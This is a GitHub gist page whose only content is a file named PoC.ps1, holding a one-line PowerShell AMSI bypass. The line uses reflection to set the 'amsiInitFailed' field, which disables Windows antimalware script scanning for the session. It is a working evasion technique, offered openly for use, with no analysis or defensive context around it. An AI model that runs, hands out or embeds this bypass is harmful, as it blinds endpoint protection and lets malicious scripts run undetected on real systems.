Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t
Created August 28, 2020 18:49
Show Gist options
  • Save S3cur3Th1sSh1t/efae7a841e40744aef32ab97d6f9b33a to your computer and use it in GitHub Desktop.
Save S3cur3Th1sSh1t/efae7a841e40744aef32ab97d6f9b33a to your computer and use it in GitHub Desktop.

Revisions

  1. S3cur3Th1sSh1t created this gist Aug 28, 2020.
    1 change: 1 addition & 0 deletions PoC.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)